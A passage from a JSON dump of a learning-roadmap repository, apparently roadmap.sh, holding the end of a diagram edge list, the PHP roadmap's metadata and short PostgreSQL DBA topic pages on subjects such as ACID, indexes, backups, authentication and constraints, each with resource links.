\"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-BOWGF4ovKzGC_3MFQET9py2-gtq5KrghF28f5G8nuDcYQz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"BOWGF4ovKzGC_3MFQET9p\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"ub79EkMiOmPBwXLRuYFL8\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-BOWGF4ovKzGC_3MFQET9py2-ub79EkMiOmPBwXLRuYFL8z1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"BOWGF4ovKzGC_3MFQET9p\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"vu0H-TsD7hkJgOQbSRj92\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-BOWGF4ovKzGC_3MFQET9py2-vu0H-TsD7hkJgOQbSRj92z1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"BOWGF4ovKzGC_3MFQET9p\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"GR09ns9B-0cONQaQ_uj-7\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-BOWGF4ovKzGC_3MFQET9py2-GR09ns9B-0cONQaQ_uj-7z1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"BOWGF4ovKzGC_3MFQET9p\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"9raJ06lKRZITbjWeLil-F\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-BOWGF4ovKzGC_3MFQET9py2-9raJ06lKRZITbjWeLil-Fz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"BOWGF4ovKzGC_3MFQET9p\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"rSXsPWto7Jeyw3Szl9pvf\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-BOWGF4ovKzGC_3MFQET9py2-rSXsPWto7Jeyw3Szl9pvfz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"BOWGF4ovKzGC_3MFQET9p\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"KEE50C6lOS4eX8sAbfhYe\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-BOWGF4ovKzGC_3MFQET9py2-KEE50C6lOS4eX8sAbfhYez1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"BOWGF4ovKzGC_3MFQET9p\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"sPW-Ti2VyNYzxq6EYkbn7\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-BOWGF4ovKzGC_3MFQET9py2-sPW-Ti2VyNYzxq6EYkbn7z1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"BOWGF4ovKzGC_3MFQET9p\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"oAED9Fd5FFTB2Dm7Vi2JF\",\n      \"targetHandle\": \"y1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-BOWGF4ovKzGC_3MFQET9pz2-oAED9Fd5FFTB2Dm7Vi2JFy1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"oAED9Fd5FFTB2Dm7Vi2JF\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"nWYHpcvp1RT1gSqs1Dqcs\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-oAED9Fd5FFTB2Dm7Vi2JFx2-nWYHpcvp1RT1gSqs1Dqcsw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"PrG_5dyBblXsWYYRcOJMa\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"12k71gNfwAcT9K5aLWgbZ\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-PrG_5dyBblXsWYYRcOJMax2-12k71gNfwAcT9K5aLWgbZw1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"6eWgZVLV479oQzl0fu-Od\",\n      \"sourceHandle\": \"y2\",\n      \"target\": \"PrG_5dyBblXsWYYRcOJMa\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-6eWgZVLV479oQzl0fu-Ody2-PrG_5dyBblXsWYYRcOJMaz1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SD9k16UlVve9WtNMDA5Za\",\n      \"sourceHandle\": \"w2\",\n      \"target\": \"3tONibbRgK7HCwGTE2Gqw\",\n      \"targetHandle\": \"x1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-SD9k16UlVve9WtNMDA5Zaw2-3tONibbRgK7HCwGTE2Gqwx1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"SD9k16UlVve9WtNMDA5Za\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"okaY9JLgjz8JRaVAgz9Dr\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-SD9k16UlVve9WtNMDA5Zax2-okaY9JLgjz8JRaVAgz9Drw1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"okaY9JLgjz8JRaVAgz9Dr\",\n      \"sourceHandle\": \"x2\",\n      \"target\": \"gn5qNP3VTmmQE2tT6o-vS\",\n      \"targetHandle\": \"w1\",\n      \"data\": {\n        \"edgeStyle\": \"solid\"\n      },\n      \"id\": \"reactflow__edge-okaY9JLgjz8JRaVAgz9Drx2-gn5qNP3VTmmQE2tT6o-vSw1\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/php/php.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/php.json'\npdfUrl: '/pdfs/roadmaps/php.pdf'\norder: 20\nbriefTitle: 'PHP'\nbriefDescription: 'Step by step guide to learning PHP in 2025'\ntitle: 'PHP Roadmap'\ndescription: 'Step by step guide to learning PHP in 2025'\nrenderer: 'editor'\nisNew: false\nhasTopics: true\ndimensions:\n  width: 968\n  height: 3260\ncourses:\n  - title: 'Complete Course to Master SQL'\n    description: 'Learn SQL from scratch with this comprehensive course'\n    link: 'https://roadmap.sh/courses/sql'\n    features:\n      - '55+ Lessons'\n      - 'AI Tutor'\n      - 'Coding Environment'\n      - 'Quizzes'\n      - 'Certification'\n    instructor:\n      name: 'Kamran Ahmed'\n      image: 'https://github.com/kamranahmedse.png'\n      title: 'Founder - roadmap.sh'\nschema:\n  headline: 'PHP Roadmap'\n  description: 'Learn how to use PHP with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/php.png'\n  datePublished: '2024-12-10'\n  dateModified: '2024-12-10'\nseo:\n  title: 'PHP Roadmap'\n  description: 'Step by step guide to learn PHP in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  keywords:\n    - 'php tutorial'\n    - 'php tutorial 2025'\n    - 'step by step guide for php'\n    - 'php for beginners'\n    - 'how to learn php'\n    - 'use php in production'\n    - 'php roadmap 2024'\n    - 'php roadmap 2025'\n    - 'guide to learning php'\n    - 'php roadmap'\n    - 'php learning path'\n    - 'php learning roadmap'\n    - 'php'\n    - 'php learning guide'\n    - 'php skills'\n    - 'php for development'\n    - 'php for development skills'\n    - 'php for development skills test'\n    - 'php learning guide'\n    - 'become a php expert'\n    - 'php career path'\n    - 'learn php for development'\n    - 'what is php'\n    - 'php quiz'\n    - 'php interview questions'\nrelatedRoadmaps:\n  - 'devops'\n  - 'backend'\n  - 'system-design'\n  - 'linux'\n  - 'software-design-architecture'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'skill-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/acid@9u7DPbfybqmldisiePq0m.md",
    "content": "# ACID\n\nACID are the four properties of relational database systems that help in making sure that we are able to perform the transactions in a reliable manner. It's an acronym which refers to the presence of four properties: atomicity, consistency, isolation and durability\n\nVisit the following resources to learn more:\n\n- [@article@What is ACID Compliant Database?](https://retool.com/blog/whats-an-acid-compliant-database/)\n- [@article@What is ACID Compliance?: Atomicity, Consistency, Isolation](https://fauna.com/blog/what-is-acid-compliance-atomicity-consistency-isolation)\n- [@video@ACID Explained: Atomic, Consistent, Isolated & Durable](https://www.youtube.com/watch?v=yaQ5YMWkxq4)\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/adding-extra-extensions@VAf9VzPx70hUf4H6i3Z2t.md",
    "content": "# Adding Extensions\n\nPostgreSQL provides various extensions to enhance its features and functionalities. Extensions are optional packages that can be loaded into your PostgreSQL database to provide additional functionality like new data types or functions. Using extensions can be a powerful way to add new features to your PostgreSQL database and customize your database's functionality according to your needs.\n\nLearn more from the following resources:\n\n- [@official@PostgreSQL Extensions](https://www.postgresql.org/download/products/6-postgresql-extensions/)\n- [@official@Create Extension](https://www.postgresql.org/docs/current/sql-createextension.html)\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/advanced-topics@09QX_zjCUajxUqcNZKy0x.md",
    "content": "# Advanced Topics in PostgreSQL Security\n\nIn addition to basic PostgreSQL security concepts, such as user authentication, privilege management, and encryption, there are several advanced topics that you should be aware of to enhance the security of your PostgreSQL databases.\n\nVisit the following resources to learn more:\n\n- [@article@Best Practices for Postgres Security](https://www.timescale.com/learn/postgres-security-best-practices)\n- [@article@PostgreSQL - Encryption and Monitoring](https://www.enterprisedb.com/postgresql-best-practices-encryption-monitoring)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/aggregate-and-window-functions@iQqEC1CnVAoM7x455jO_S.md",
    "content": "# Aggregate and Window Functions\n\nAggregate functions in PostgreSQL perform calculations on a set of rows and return a single value, such as `SUM()`, `AVG()`, `COUNT()`, `MAX()`, and `MIN()`. Window functions, on the other hand, calculate values across a set of table rows related to the current row while preserving the row structure. Common window functions include `ROW_NUMBER()`, `RANK()`, `DENSE_RANK()`, `NTILE()`, `LAG()`, and `LEAD()`. These functions are crucial for data analysis, enabling complex queries and insights by summarizing and comparing data effectively.\n\nLearn more from the following resources:\n\n- [@article@Data Processing With PostgreSQL Window Functions](https://www.timescale.com/learn/postgresql-window-functions)\n- [@article@Why & How to Use Window Functions to Aggregate Data in Postgres](https://coderpad.io/blog/development/window-functions-aggregate-data-postgres/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/ansible@RqSfBR_RuvHrwHfPn1jwZ.md",
    "content": "# Ansible for PostgreSQL Configuration Management\n\nAnsible is a widely used open-source configuration management and provisioning tool that helps automate many tasks for managing servers, databases, and applications. It uses a simple, human-readable language called YAML to define automation scripts, known as “playbooks”. By using Ansible playbooks and PostgreSQL modules, you can automate repetitive tasks, ensure consistent configurations, and reduce human error.\n\nLearn more from the following resources:\n\n- [@official@Ansible](https://www.ansible.com/)\n- [@opensource@ansible/ansible](https://github.com/ansible/ansible)\n- [@article@Ansible Tutorial for Beginners: Ultimate Playbook & Examples](https://spacelift.io/blog/ansible-tutorial)\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/any-programming-language@j5YeixkCKRv0sfq_gFVr9.md",
    "content": "# Programming Languages and PostgreSQL Automation\n\nPostgreSQL supports various languages for providing server-side scripting and developing custom functions, triggers, and stored procedures. When choosing a language, consider factors such as the complexity of the task, the need for a database connection, and the trade-off between learning a new language and leveraging existing skills.\n\nLearn more from the following resources:\n\n- [@official@Procedural Languages](https://www.postgresql.org/docs/current/external-pl.html)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/attributes@XvZMSveMWqmAlXOxwWzdk.md",
    "content": "# Attributes in the Relational Model\n\nAttributes in the relational model are the columns of a table, representing the properties or characteristics of the entity described by the table. Each attribute has a domain, defining the possible values it can take, such as integer, text, or date. Attributes play a crucial role in defining the schema of a relation (table) and are used to store and manipulate data. They are fundamental in maintaining data integrity, enforcing constraints, and enabling the relational operations that form the basis of SQL queries.\n\nLearn more from the following resources:\n\n- [@article@What is a Relational Model?](https://www.guru99.com/relational-data-model-dbms.html)\n- [@article@Relational Model in DBMS](https://www.scaler.com/topics/dbms/relational-model-in-dbms/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/authentication-models@gb75xOcAr-q8TcA6_l1GZ.md",
    "content": "# Authentication Models\n\nPostgreSQL supports various authentication models to control access, including trust (no password, for secure environments), password-based (md5 and scram-sha-256 for hashed passwords), GSSAPI and SSPI (Kerberos for secure single sign-on), LDAP (centralized user management), certificate-based (SSL certificates for strong authentication), PAM (leveraging OS-managed authentication), Ident (verifying OS user names), and RADIUS (centralized authentication via RADIUS servers). These methods are configured in the `pg_hba.conf` file, specifying the appropriate authentication method for different combinations of databases, users, and client addresses, ensuring flexible and secure access control.\n\nLearn more from the following resources:\n\n- [@official@Authentication Methods](https://www.postgresql.org/docs/current/auth-methods.html)\n- [@article@An Introduction to Authorization and Authentication in PostgreSQL](https://www.prisma.io/dataguide/postgresql/authentication-and-authorization/intro-to-authn-and-authz)\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/awk@HJCRntic0aGVvdmCN45aP.md",
    "content": "# Awk\n\nAwk is a versatile text processing tool that is widely used for various data manipulation, log analysis, and text reporting tasks. It is especially suitable for working with structured text data, such as data in columns. Awk can easily extract specific fields or perform calculations on them, making it an ideal choice for log analysis.\n\nLearn more from the following resources:\n\n- [@article@Awk](https://www.grymoire.com/Unix/Awk.html)\n- [@article@Awk Command in Linux/Unix](https://www.digitalocean.com/community/tutorials/awk-command-linux-unix)\n- [@video@Tutorial - AWK in 300 Seconds](https://www.youtube.com/watch?v=15DvGiWVNj0)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/b-tree@jihXOJq9zYlDOpvJvpFO-.md",
    "content": "# B-Tree Indexes\n\nB-Tree (short for Balanced Tree) is the default index type in PostgreSQL, and it's designed to work efficiently with a broad range of queries. A B-Tree is a data structure that enables fast search, insertion, and deletion of elements in a sorted order. B-Tree indexes are the most commonly used index type in PostgreSQL – versatile, efficient, and well-suited for various query types.\n\nLearn more from the following resources:\n\n- [@official@B-Tree](https://www.postgresql.org/docs/current/indexes-types.html#INDEXES-TYPES-BTREE)\n- [@video@B-Tree Indexes](https://www.youtube.com/watch?v=NI9wYuVIYcA&t=109s)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/backup-validation-procedures@te4PZaqt6-5Qu8rU0w6a1.md",
    "content": "# Backup Validation Procedures\n\nIt's not enough to just take backups; you must also ensure that your backups are valid and restorable. A corrupt or incomplete backup can lead to data loss or downtime during a crisis. Therefore, it's essential to follow best practices and validate your PostgreSQL backups periodically.\n\n## Key Validation Procedures\n\nHere are the critical backup validation procedures you should follow:\n\n- **Restore Test**: Regularly perform a restore test using your backups to ensure that the backup files can be used for a successful restoration of your PostgreSQL database. This process can be automated using scripts and scheduled tasks.\n\n- **Checksum Verification**: Use checksums during the backup process to validate the backed-up data. Checksums can help detect errors caused by corruption or data tampering. PostgreSQL provides built-in checksum support, which can be enabled at the database level.\n\n- **File-Level Validation**: Compare the files in your backup with the source files in your PostgreSQL database. This will ensure that your backup contains all the necessary files and that their content matches the original data.\n\n- **Backup Logs Monitoring**: Monitor and analyze the logs generated during your PostgreSQL backup process. Pay close attention to any warnings, errors, or unusual messages. Investigate and resolve any issues to maintain the integrity of your backups.\n\n- **Automated Testing**: Set up automated tests to simulate a disaster recovery scenario and see if your backup can restore the database fully. This will not only validate your backups but also test the overall reliability of your recovery plan.\n\n## Post-validation Actions\n\nAfter validating your backups, it's essential to document the results and address any issues encountered during the validation process. This may involve refining your backup and recovery strategies, fixing any errors or updating your scripts and tools.\n\nLearn more from the following resources:\n\n- [@official@pg_verifybackup](https://www.postgresql.org/docs/current/app-pgverifybackup.html)\n- [@article@PostgreSQL Backup and Restore Validation](https://portal.nutanix.com/page/documents/solutions/details?targetId=NVD-2155-Nutanix-Databases:postgresql-backup-and-restore-validation.html)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/barman@-XhONB0FBA6UslbDWoTDv.md",
    "content": "# Barman (Backup and Recovery Manager)\n\nBarman (Backup and Recovery Manager) is a robust tool designed for managing PostgreSQL backups and disaster recovery. It supports various backup types, including full and incremental backups, and provides features for remote backups, backup retention policies, and compression to optimize storage. Barman also offers point-in-time recovery (PITR) capabilities and integrates with PostgreSQL's WAL archiving to ensure data integrity. With its extensive monitoring and reporting capabilities, Barman helps database administrators automate and streamline backup processes, ensuring reliable and efficient recovery options in case of data loss or corruption.\n\nLearn more from the following resources:\n\n- [@official@pgBarman Website](https://www.pgbarman.org/)\n- [@opensource@EnterpriseDB/barman](https://github.com/EnterpriseDB/barman)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/basic-rdbms-concepts@-M9EFgiDSSAzj9ISk-aeh.md",
    "content": "# RDBMS Concepts\n\nRelational Database Management Systems (RDBMS) are a type of database management system which stores and organizes data in tables, making it easy to manipulate, query, and manage the information. They follow the relational model defined by E.F. Codd in 1970, which means that data is represented as tables with rows and columns.\n\nVisit the following resources to learn more:\n\n- [@article@Understanding Relational Database Management Systems](https://www.essentialsql.com/understanding-relational-databases-a-beginners-guide/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/brin@43oFhZuXjJd4QHbUoLtft.md",
    "content": "# BRIN (Block Range INdex)\n\nBRIN is an abbreviation for Block Range INdex which is an indexing technique introduced in PostgreSQL 9.5. This indexing strategy is best suited for large tables containing sorted data. It works by storing metadata regarding ranges of pages in the table. This enables quick filtering of data when searching for rows that match specific criteria. While not suitable for all tables and queries, they can significantly improve performance when used appropriately. Consider using a BRIN index when working with large tables with sorted or naturally ordered data.\n\nLearn more from the following resources:\n\n- [@official@BRIN Indexes](https://www.postgresql.org/docs/17/brin.html)\n- [@article@Block Range INdexes](https://en.wikipedia.org/wiki/Block_Range_Index)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/buffer-management@KeBUzfrkorgFWpR8A-xmJ.md",
    "content": "# Buffer Management\n\nPostgreSQL uses a buffer pool to efficiently cache frequently accessed data pages in memory. The buffer pool is a fixed-size, shared memory area where database blocks are stored while they are being used, modified or read by the server. Buffer management is the process of efficiently handling these data pages to optimize performance.\n\nLearn more from the following resources:\n\n- [@article@Buffer Manager](https://dev.to/vkt1271/summary-of-chapter-8-buffer-manager-from-the-book-the-internals-of-postgresql-part-2-4f6o)\n- [@official@pg_buffercache](https://www.postgresql.org/docs/current/pgbuffercache.html)\n- [@official@Write Ahead Logging](https://www.postgresql.org/docs/current/wal-intro.html)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/bulk-loading--processing-data@cc4S7ugIphyBZr-f6X0qi.md",
    "content": "# Bulk Load Process Data\n\nBulk load process data involves transferring large volumes of data from external files into the PostgreSQL database. This is an efficient way to insert massive amounts of data into your tables quickly, and it's ideal for initial data population or data migration tasks. Leveraging the `COPY` command or `pg_bulkload` utility in combination with best practices should help you load large datasets swiftly and securely.\n\nLearn more from the following resources:\n\n- [@official@Populating a Database](https://www.postgresql.org/docs/current/populate.html)\n- [@article@7 Best Practice Tips for PostgreSQL Bulk Data Loading](https://www.enterprisedb.com/blog/7-best-practice-tips-postgresql-bulk-data-loading)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/check_pgactivity@WiOgUt5teG9UVRa6zo4h3.md",
    "content": "# check_pgactivity\n\n`check_pgactivity` is a PostgreSQL monitoring tool that provides detailed health and performance statistics for PostgreSQL databases. Designed to be used with the Nagios monitoring framework, it checks various aspects of PostgreSQL activity, including connection status, replication status, lock activity, and query performance. By collecting and presenting key metrics, `check_pgactivity` helps database administrators detect and troubleshoot performance issues, ensuring the database operates efficiently and reliably. The tool supports custom thresholds and alerting, making it a flexible solution for proactive database monitoring.\n\n- [@opensource@OPMDG/check_pgactivity](https://github.com/OPMDG/check_pgactivity)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/check_pgbackrest@DDPuDDUFxubWZmWXCmF7L.md",
    "content": "# check_pgbackrest\n\nMonitoring `pgBackRest` helps ensure that your PostgreSQL backups are consistent, up-to-date, and free from any potential issues. By regularly checking your backups, you'll be able to maintain a reliable and efficient backup-restore process for your PostgreSQL database.\n\n`pgBackRest` provides a built-in command called `check` which performs various checks to validate your repository and configuration settings. The command is executed as follows:\n\n```sh\npgbackrest --stanza=<stanza_name> check\n```\n\n`<stanza_name>` should be replaced with the name of the stanza for which you want to verify the repository and configuration settings.\n\nLearn more from the following resources:\n\n- [@official@pgBackRest Website](https://pgbackrest.org/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/checkpoints--background-writer@3pLn1mhRnekG537ejHUYA.md",
    "content": "# Checkpoints and Background Writer\n\nIn PostgreSQL, checkpoints and the background writer are essential for maintaining data integrity and optimizing performance. Checkpoints periodically write all modified data (dirty pages) from the shared buffers to the disk, ensuring that the database can recover to a consistent state after a crash. This process is controlled by settings such as `checkpoint_timeout`, `checkpoint_completion_target`, and `max_wal_size`, balancing between write performance and recovery time. The background writer continuously flushes dirty pages to disk in the background, smoothing out the I/O workload and reducing the amount of work needed during checkpoints. This helps to maintain steady performance and avoid spikes in disk activity. Proper configuration of these mechanisms is crucial for ensuring efficient disk I/O management and overall database stability.\n\nLearn more from the following resources:\n\n- [@official@Checkpoints](https://www.postgresql.org/docs/current/sql-checkpoint.html)\n- [@article@What is a checkpoint?](https://www.cybertec-postgresql.com/en/postgresql-what-is-a-checkpoint/)\n- [@article@What are the difference between background writer and checkpoint in postgresql?](https://stackoverflow.com/questions/71534378/what-are-the-difference-between-background-writer-and-checkpoint-in-postgresql)\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/chef@7EHZ9YsNjCyTAN-LDWYMS.md",
    "content": "# Chef for PostgreSQL Configuration Management\n\nChef is a powerful and widely-used configuration management tool that provides a simple yet customizable way to manage your infrastructure, including PostgreSQL installations. Chef is an open-source automation platform written in Ruby that helps users manage their infrastructure by creating reusable and programmable code, called \"cookbooks\" and \"recipes\", to define the desired state of your systems. It uses a client-server model and employs these cookbooks to ensure that your infrastructure is always in the desired state.\n\nLearn more from the following resources:\n\n- [@official@Chef Website](https://www.chef.io/products/chef-infra)\n- [@opensource@chef/chef](https://github.com/chef/chef)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/columns@cty2IjgS1BWltbYmuxxuV.md",
    "content": "# Columns in PostgreSQL\n\nColumns are a fundamental component of PostgreSQL's object model. They are used to store the actual data within a table and define their attributes such as data type, constraints, and other properties. \n\nLearn more from the following resources:\n\n- [@official@Columns](https://www.postgresql.org/docs/current/ddl-alter.html)\n- [@article@PostgreSQL ADD COLUMN](https://www.w3schools.com/postgresql/postgresql_add_column.php)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/configuring@T819BZ-CZgUX_BY7Gna0J.md",
    "content": "# Configuring PostgreSQL\n\nConfiguring PostgreSQL involves modifying several key configuration files to optimize performance, security, and functionality. The primary configuration files are postgresql.conf, pg_hba.conf, and pg_ident.conf, typically located in the PostgreSQL data directory. By properly configuring these files, you can tailor PostgreSQL to better fit your specific needs and environment.\n\nVisit the following resources to learn more:\n\n- [@official@Configuring PostgreSQL](https://www.postgresql.org/docs/current/runtime-config.html)\n- [@article@Install and Configure PostgreSQL](https://ubuntu.com/server/docs/install-and-configure-postgresql)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/connect-using-psql@mMf2Mq9atIKk37IMWuoJs.md",
    "content": "# Connect Using `psql`\n\n`psql` is an interactive command-line utility that enables you to interact with a PostgreSQL database server. Using `psql`, you can perform various SQL operations on your database.\n\nLearn more from the following resources:\n\n- [@official@psql](https://www.postgresql.org/docs/current/app-psql.html#:~:text=psql%20is%20a%20terminal%2Dbased,and%20see%20the%20query%20results.)\n- [@article@psql guide](https://www.postgresguide.com/utilities/psql/)"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/constraints@j9ikSpCD3yM5pTRFuJjZs.md",
    "content": "# Constraints in PostgreSQL\n\nConstraints are an essential part of the relational model, as they define rules that the data within the database must follow. They ensure that the data is consistent, accurate, and reliable.\n\n**Primary Key** - A primary key constraint is a column or a set of columns that uniquely identifies each row in a table. There can only be one primary key per table, and its value must be unique and non-null for each row.\n\n**Foreign Key** - A foreign key constraint ensures that a column or columns in a table refer to an existing row in another table. It helps maintain referential integrity between tables.\n\n**Unique** - A unique constraint ensures that the values in a column or set of columns are unique across all rows in a table. In other words, it prevents duplicate entries in the specified column(s).\n\n**Check** - A check constraint verifies that the values entered into a column meet a specific condition. It helps to maintain data integrity by restricting the values that can be inserted into a column.\n\n**Not Null** - A NOT NULL constraint enforces that a column cannot contain a NULL value. This ensures that a value must be provided for the specified column when inserting or updating data in the table.\n\n**Exclusion** - An exclusion constraint is a more advanced form of constraint that allows you to specify conditions that should not exist when comparing multiple rows in a table. It helps maintain data integrity by preventing conflicts in data.\n\nLearn more from the following resources:\n\n- [@official@Constraints](https://www.postgresql.org/docs/current/ddl-constraints.html)\n- [@article@PostgreSQL - Constraints](https://www.tutorialspoint.com/postgresql/postgresql_constraints.htm)\n"
  },
  {
    "path": "src/data/roadmaps/postgresql-dba/content/consul@IkB28gO0LK1q1-KjdI9Oz.md",
